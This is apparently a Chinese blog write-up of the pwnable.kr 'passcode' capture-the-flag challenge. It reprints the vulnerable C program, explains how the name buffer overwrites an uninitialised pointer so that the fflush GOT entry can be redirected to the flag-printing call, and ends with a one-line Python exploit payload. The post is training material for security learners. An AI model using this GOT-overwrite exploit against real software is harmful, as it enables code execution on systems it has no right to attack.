• pwnable.kr之passcode


    pwnable.kr之passcode

    passcode这道题目,和我之前看《0day安全》时,做过的一个实验很类似,开始运用到的原理都是栈区内变量的覆盖。之前类似的题目也有接触过。

    #include <stdio.h>
    #include <stdlib.h>
    
    void login(){
        int passcode1;
        int passcode2;
    
        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);
    
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
            scanf("%d", passcode2);
    
        printf("checking...
    ");
        if(passcode1==338150 && passcode2==13371337){
                    printf("Login OK!
    ");
                    system("/bin/cat flag");
            }
            else{
                    printf("Login Failed!
    ");
            exit(0);
            }
    }
    
    void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!
    ", name);
    }
    int main(){
        printf("Toddler's Secure Login System 1.0 beta.
    ");
    
        welcome();
        login();
    
        // something after login...
        printf("Now I can safely trust you that you have credential :)
    ");
        return 0;    
    }

    题目给出源码,如下图所示

    welcome函数中,输入的空间比较大,有100个字节。scanf在输入passcode1和passcode2的时候没有加取地址符,我们没有办法的得知这两个变量的地址。

    name的起始地址在[ebp-0x70]函数处,passcode1位于[ebp-0x10]处,之间相差96个字节。welcome函数中如果要输入100个字节的话,最后四位可以覆盖掉passcode1的地址,我们可以控制passcode1写入的地址。

    这时候用到的技巧就是覆盖got表地址。由于后面fflush函数会清空缓冲区的输入,把passcode1的地址覆盖为fllush函数的地址,然后后面scanf的时候,我们就可以修改fflush函数地址上保存的值为system("cat flag")的地址。

    这时候,在调用fllush函数的时候,就会跳转到0x080485e3去读取flag。

    ssh连接后,直接与程序进行交互即可

    python -c "print 'a'*96+'x04xa0x04x08'+'
    '+'134514147'"|./passcode

     关键:栈区内变量覆盖和覆写got表技术相结合。

  • 相关阅读:
    WIA Property Constant Definitions
    未能导入activex控件,请确保它正确注册"的完美解决方案
    ILSpy反编译工具的使用
    WIA
    在C#中使用WIA获取扫描仪数据
    在C#中使用WIA获取扫描仪数据(利用Filter处理图片)
    VS2010中,无法嵌入互操作类型“……”,请改用适用的接口的解决方法
    怎么添加项目到SVN上面
    数学家帮你找出最佳求职者 你只要先淘汰前37%的人
    程序员7大软技能测验 你得几分?
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/12927376.html
Copyright © 2020-2023  润新知